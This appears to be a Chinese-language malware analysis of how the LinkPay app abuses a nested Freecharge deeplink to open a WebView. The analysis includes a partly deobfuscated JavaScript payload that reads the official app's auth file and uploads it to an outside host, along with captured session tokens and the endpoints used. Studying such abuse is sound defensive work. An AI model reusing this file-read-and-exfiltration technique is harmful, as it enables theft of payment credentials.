Files
rnpay/docs/freecharge.md
T
2026-07-29 22:41:33 +08:00

18 KiB
Raw Blame History

LinkPay Freecharge 授权分析

样本来源

项目
平台 App LinkPayuni.app.UNIBA00479v1.1.9
后端 API https://api.linkcorex.com
钱包类型 walletType = 2 / ctype = 2
授权页面 pages/wallet/freecharge-authFreechargeAuthPage
分析样本 linkpay/apks/linkpay.apk
抓包样本 freecharge_logs/logsrv_2026-07-28_23-06-50_15.harfreePrepare

LinkPay 是 UniAppDCloud)应用。Freecharge 不下载魔改 APK,也不使用 InstallPluginxyz.rush.plugin)。但授权链路会利用官方 Freecharge App 的 WebView 容器读取本地 auth 文件并外传。


结论摘要

LinkPay 的 Freecharge「授权」表面上是官方 App 授权 + 服务端 tempKey 会话,实际抓包显示

  1. freePrepare 返回嵌套 deeplink,在官方 Freecharge 内打开 WebViewaction=wv
  2. WebView 加载服务端注入的 HTML/JS读取官方 App 本地 auth 文件并 Base64 上传
  3. LinkPay 客户端轮询 check,待后端收到凭据后返回 upiList
  4. 用户选择 UPI → linkConfirm 完成绑定

不需要魔改 Freecharge 包,也没有 MobiKwik 那套 Tail-TokenReceiver 本地 Hook;但并非正规 OAuth,而是通过官方 App WebView 实现的凭据窃取


与其他钱包的分流逻辑

添加钱包时,服务端返回的 isHook 决定走哪条链路(add-wallet 页面):

isHook 目标页面 机制
1 wallet-guide 下载服务端 APK → 安装 → 原生插件读 token
2 freecharge-auth 官方 App WebView + 读 auth 文件 + 后端 tempKey 会话
其他 + url web-login WebView 打开登录页
其他 + otp wizard OTP 向导流程

Freecharge 固定为 isHook = 2,因此不会进入 wallet-guide,也不会在 downloads/ 目录留下 APK 缓存。

对比 MobiKwikwalletType = 4isHook = 1):

MobiKwik:  freePrepare ❌  →  wallet-guide  →  下载 APK  →  TokenReceiver Hook
Freecharge: freePrepare ✅  →  freecharge-auth  →  openURL  →  轮询 check  →  linkConfirm

整体链路

LinkPay (uni.app.UNIBA00479)
    │  用户选择 Freecharge 绑定
    │  isHook=2 → /pages/wallet/freecharge-auth
    ▼
POST api.linkcorex.com/.../freePrepare  { ctype: 2 }
    │  返回 tempKey + url(嵌套 deeplink + 恶意 HTML
    ▼
plus.runtime.openURL(url)
    │  freecharge://home?action=wv&url=<内层 fc/app?html=...>
    ▼
官方 Freecharge App 打开 WebView
    │  JS 读取 file:///data/data/com.freecharge.android/.../auth.preferences_pb
    │  POST api.linkadminpro.com/.../freeSubmit  { b64, userId, sign }
    ▼
LinkPay 轮询 POST api.linkcorex.com/.../check  { tempKey }
    │  status = 3 且 upiList 非空 → 授权完成
    ▼
用户在 LinkPay 选择要绑定的 UPI
    ▼
POST api.linkcorex.com/.../linkConfirm  { tempKey, upiList }
    ▼
绑定成功 → /pages/wallet/add-success

前端实现(FreechargeAuthPage

源码位置:assets/apps/__UNI__BA00479/www/app-service.jswebpack module 55bb

状态机

状态 含义
preparing 正在调用 freePrepare
authStarted 已拿到 authUrl,等待用户在 Freecharge 完成授权
prepareDone 轮询成功,UPI 列表已返回,等待用户选择
expired 会话超时(默认 expireSeconds,通常 600s
confirming 正在调用 linkConfirm

关键方法

方法 作用
startAuthentication() 调用 freePrepare,启动倒计时和轮询,自动 openAuthUrl()
openAuthUrl() plus.runtime.openURL(this.authUrl) 打开官方授权
checkAuthorization() 轮询 check APIstatus=3 时解析 upiList
initUpiSelection() 加载多选配置、历史已绑 UPI,初始化选择列表
confirmLink() 提交选中的 UPI 到 linkConfirm

UI 文案(暗示依赖官方 App

  • "Please complete the authorization in Freecharge."
  • "Return here after completing authorization in Freecharge."
  • 按钮:"Go to Authenticate" / "Open Freecharge Again"

API 接口

Base URLhttps://api.linkcorex.com

接口 方法 路径 请求 响应要点
准备授权 POST /app/ct/app/collection/freePrepare { ctype: 2, walletId?, id?, ... } { tempKey, url, phone, expireSeconds }
轮询结果 POST /app/ct/app/collection/check { tempKey } { status, upiList, phone, sessionId, sign, ... }
凭据回传 POST api.linkadminpro.com/.../freeSubmit { b64, userId, sign } + sessionId query { code: 1000, data: true }
确认绑定 POST /app/ct/app/collection/linkConfirm { tempKey, upiList[] } 成功 code=1000
UPI 多选配置 GET /app/ct/type/ctType/{id} wallet config id { multiple, multipleNum }
已绑钱包列表 GET /app/ct/app/collection/getWalletList 用于锁定历史 UPI

check 轮询逻辑

  • 首次延迟 1200ms,之后每 1500ms 重试
  • status === 3upiList.length > 0 → 授权完成
  • 网络失败自动重试,显示 "Network is unstable. Retrying automatically..."
  • 超时后 expired = true,需重新 startAuthentication()

UPI 格式校验

/^[a-zA-Z0-9._-]{2,64}@[a-zA-Z0-9.-]{2,64}$/

付款时的 Freecharge 调用

INR 订单付款页(pages/payment/inr-order)对 Freecharge 单独处理:

// payoutWalletType === 2 时使用 freechargeIntent,而非通用 intent
if (payoutWalletType === 2) {
  plus.runtime.openURL(order.freechargeIntent)
} else {
  plus.runtime.openURL(order.intent)  // MobiKwik / PhonePe 等
}

付款同样通过 plus.runtime.openURL 调起官方 Freecharge,不涉及魔改包。


与 ShowPay / WinPay 的对比

维度 LinkPay Freecharge ShowPay / WinPay Freecharge
下载器 无(官方包即可) InstallPluginxyz.rush.plugin
APK 来源 不下载 缓存 fcv76.apk(魔改包)
包名 官方 com.freecharge.android 同名但注入后门
授权方式 官方 App WebView + 读 auth 文件 + tempKey 轮询 AIDL com.longfafa.pay.BIND_SERVICE
本地 Hook 无原生插件;WebView JS 读本地文件 有(com.longfafa.paylib.JobService
获取数据 auth.preferences_pb → 服务端解析 UPI token / 手机号 / UPI / FCM 等(本地 IPC 窃取)
后端 api.linkcorex.com + api.linkadminpro.com api.showpay-web.com

获取到的数据范围

LinkPay Freecharge 授权完成后,客户端可见的数据:

数据 来源 说明
UPI 地址列表 check 响应 upiList 用户在 LinkPay 中选择子集提交
手机号 freePrepare / check 响应 phone 用于匹配历史绑定
绑定关系 linkConfirm 成功后写入平台 walletId + UPI + phone

抓包确认的实际窃取行为freecharge_logs):

行为 详情
读取本地 auth 文件 com.freecharge.android.auth.preferences_pb
外传域名 api.linkadminpro.com(与主 API api.linkcorex.com 不同)
外传接口 POST /app/ct/app/collection/freeSubmit?sessionId=...
外传内容 auth 文件 Base64{ b64, userId, sign }

未观察到以下行为:

  • 下载 / 安装魔改 Freecharge APK
  • 使用 Tail-TokenReceiver 原生插件(Freecharge 授权页不调用)
  • 注册 com.longfafa.pay.BIND_SERVICE 类 IPC 后门

授权 Deeplink(核心,已抓包确认)

关键结论

LinkPay 客户端里没有写死 Freecharge 授权 deeplink。
url 完全由服务端在 freePrepare 响应里动态下发(约 21KB),前端只做:

// freecharge-auth.vue → openAuthUrl()
plus.runtime.openURL(this.authUrl)
// authUrl = freePrepare 响应里的 data.url

客户端 JS 中不存在 freecharge://fc/app 等硬编码字符串;但服务端下发的 URL 是三层嵌套结构

freePrepare 真实响应(freecharge_logs2026-07-28 23:06:50

{
  "code": 1000,
  "data": {
    "ctype": 2,
    "phone": "",
    "expireSeconds": 600,
    "tempKey": "9c63f226-7554-888b-9c07-fc80e2dbb85f",
    "url": "freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=https%3A%2F%2Ffreecharge.in%2Ffc%2Fapp%3Faction%3Dwv%26...%26html%3D%253C%2521DOCTYPE%252Bhtml%253E..."
  }
}

第 1 层 — 外层(LinkPay openURL 直接打开)

freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=<内层 URL 编码>
参数 含义
action wv 打开 WebView 容器(非 IncoinPay 付款用的 view
displayBar false 隐藏导航栏
showLoader true 显示加载动画
url 内层 https://freecharge.in/fc/app?... 嵌套目标

第 2 层 — 内层(Freecharge App 内 WebView 加载)

https://freecharge.in/fc/app?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&html=<HTML+JS>

第 3 层 — 嵌入 HTML/JS(恶意载荷)

完整载荷已从 HAR 解码,保存在:

linkpay/freecharge_payload/
├── auth_webview.html      # 格式化后的 HTML(含可读 JS
├── auth_webview_raw.html  # 从 html= 参数直接解码的原始串
└── auth_payload.js        # eval(String.fromCharCode(...)) 解码后的 JS

完整 HTML 结构:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<style>
body{margin:0;display:flex;flex-direction:column;align-items:center;
     justify-content:center;min-height:100vh;background:#f5f5f5;font-family:sans-serif;}
#icon{font-size:64px;margin-bottom:16px}
#msg{font-size:20px;font-weight:bold;margin-bottom:12px;color:#333}
#hint{font-size:14px;color:#888;text-align:center;padding:0 24px}
</style>
</head>
<body>
<div id="icon"></div>
<div id="msg">Processing…</div>
<div id="hint">Please wait</div>
<script>eval(String.fromCharCode(...))</script>  <!-- 9418 字符,见 auth_payload.js -->
</body>
</html>

页面 UI 显示:

  • Processing…
  • Please wait
  • 成功: Authorization Successful / You can now return to the previous app.
  • 失败: Authorization Failed

完整 JS 载荷(auth_payload.js,已去混淆):

(function(){
  var F = 'file:///data/data/com.freecharge.android/files/datastore/com.freecharge.android.auth.preferences_pb';
  var UPLOAD = 'https://api.linkadminpro.com/app/ct/app/collection/freeSubmit?sessionId=3438ded7-e0a2-451e-9ef3-6f3af2862e14';
  var UID = 242204;
  var SIGN = '9c63f2267554888b9c07fc80e2dbb85f';

  function showSuccess() { /* ✅ Authorization Successful */ }
  function showFail(reason) { /* ❌ Authorization Failed */ }

  function toB64(bin) {
    // 逐字节读取二进制,btoa 编码
  }

  function xhrSync(method, url, body, ct) {
    // 同步 XMLHttpRequest
  }

  function uploadJSONP(b64) {
    // POST 失败时 fallback:动态插入 <script src=UPLOAD&callback=...&b64=...>
  }

  function doUpload(b64) {
    // 优先 POST JSON { b64, userId, sign },失败走 JSONP
  }

  function run() {
    // 1. 检查 context:仅允许 file: / null originFreecharge WebView 本地页)
    if (location.protocol !== 'file:' && location.origin !== 'null' && location.origin !== '') {
      showFail('Wrong context'); return;
    }
    // 2. 同步 GET 读取 auth.preferences_pb
    // 3. toB64 编码
    // 4. doUpload 上传
  }

  try { run(); } catch(e) { showFail('Unexpected error'); }
})();

JS 行为要点:

步骤 行为
环境检查 file: / null origin 则拒绝(防浏览器直接打开)
读文件 同步 XHR GET auth.preferences_pboverrideMimeType('text/plain; charset=x-user-defined')
编码 逐字节 charCodeAt & 255btoa
上传 POST JSON;失败则 JSONP <script src=...>
成功判定 响应 { code: 1000, data: true }
混淆 外层 HTML 用 eval(String.fromCharCode(...)) 隐藏 9418 字符 JS

关联会话字段(check 响应,同一次抓包)

字段
tempKey 9c63f226-7554-888b-9c07-fc80e2dbb85f
sessionId 3438ded7-e0a2-451e-9ef3-6f3af2862e14
sign 9c63f2267554888b9c07fc80e2dbb85f
userInfoId 242204
status 0(轮询中,upiList 为空)
addressMd5 adb833b5b838b3f5be46c6971b331f5a

官方 Freecharge App 注册的 Schemecom.freecharge.android v21.3.0

/storage/emulated/0/Download/freecharge.apk Manifest 提取:

Scheme Host / Path 用途 入口 Activity
freecharge:// (无 host 通用 deep link MainActivity
freecharge:// home 应用内页面跳转 MainActivity
freecharge:// login 登录/授权相关 MainActivity
freecharge:// splash 启动页 MainActivity
freecharge:// helpcenter 帮助中心 HelpCenterActivity
freecharge:// pay UPI 支付 UpiIntentActivity
freechargeupi:// pay UPI 支付 UpiIntentActivity
freechargegtk:// (无 host GTK 回调(类似 MobiKwik 的 mobikwikgtk://getToken MainActivity
upi:// pay / mandate 标准 UPI UpiIntentActivity
https:// freecharge.in / www.freecharge.in App Link MainActivity
https:// freechargebiz.in / www.freechargebiz.in Biz 版 App Link MainActivity
https:// frch.in 短链 MainActivity

官方 App 内还内置 res/raw/deeplink_cached.json,常见 Biz 版 Web 容器格式:

https://www.freechargebiz.in/fc/app?action=wv&title=...&url=https://www.freecharge.in/...?isAppSdk=true&shortCode=XX

也有原生页跳转:

https://www.freechargebiz.in/fc/app?action=view&page=home
https://www.freechargebiz.in/fc/app?action=view&page=paylater

1. IncoinPay 付款(已反编译确认)

GrabDetailActivity.java 构造 Freecharge 付款链接:

// toolType == 8 (Freecharge)
cVar2.put("action", "view");
cVar2.put("page", "upi_pay");
cVar2.put("receiverVpa", account + "@" + ifsc + ".ifsc.npci");
str = "freecharge://home?" + queryString;
// 最终形如:
// freecharge://home?action=view&page=upi_pay&receiverVpa=XXXX@IFSC.ifsc.npci

LinkPay 付款侧同样用 freechargeIntent,结构应与上述类似(服务端下发,非客户端拼)。

2. LinkPay 授权 vs 付款(已确认 vs 推测)

场景 字段 来源 API Deeplink 形态
绑定授权 authUrl / data.url freePrepare freecharge://home?action=wv&url=<fc/app?html=恶意JS> 已抓包
订单付款 freechargeIntent 订单详情 API freecharge://home?action=view&page=upi_pay&receiverVpa=...(参考 IncoinPay

授权与付款使用不同的 action

  • 授权:action=wvWebView + 读文件)
  • 付款:action=view&page=upi_pay(原生 UPI 页)

3. 对比 MobiKwikLinkPay APK 下载链路)

Freecharge 授权 MobiKwik 绑定
入口 freePrepareopenURL wallet-guide → 下载 APK → TokenReceiver
读凭据 WebView JS 读 preferences_pb 原生插件 openTargetAppByType("newmob")
回传 api.linkadminpro.com/freeSubmit 本地存储 + linkPrepare
魔改包 不需要 需要(GitHub 下发 APK

服务端配置补充(listEnabledCtTypes 抓包)

FreechargectType=2)的 loginOption 字段:

{
  "url": null,
  "valueType": null,
  "otp": 4,
  "isHook": 2,
  "guideUrl": "",
  "apkDownloadUrl": "https://d1a6nbwk78otoo.cloudfront.net/free2368484936.apk"
}

注意:虽然配置了 apkDownloadUrl,但 isHook=2 实际走 freecharge-auth 而非 wallet-guide,该 APK 链接未被本次授权流程使用


复现与验证建议

  1. 在 LinkPay 中添加 Freecharge 钱包(isHook=2 会自动进入 freecharge-auth 页)
  2. 安装官方 Freechargecom.freecharge.android
  3. 抓包目标:
    • POST api.linkcorex.com/.../freePrepare → 记录 data.url 完整字符串(约 21KB
    • POST api.linkadminpro.com/.../freeSubmit → 记录 b64 外传
    • POST api.linkcorex.com/.../check → 观察 status03upiList
    • POST api.linkcorex.com/.../linkConfirm → 确认最终提交字段
  4. 对比:LinkPay downloads/ 目录应 Freecharge APK(与 MobiKwik 不同)

相关文件

linkpay/
├── apks/
│   ├── linkpay.apk              # LinkPay 本体
│   └── MobiKwik_linkpay.apk     # 对比:MobiKwik 走 APK 下载链路
├── freecharge_payload/          # 从 HAR 解码的嵌套 HTML/JS 载荷
│   ├── auth_webview.html
│   ├── auth_webview_raw.html
│   └── auth_payload.js
└── freecharge.md                # 本文档

freecharge_logs/                 # 抓包 HAR(含 freePrepare 真实 deeplink
└── logsrv_2026-07-28_23-06-50_15.har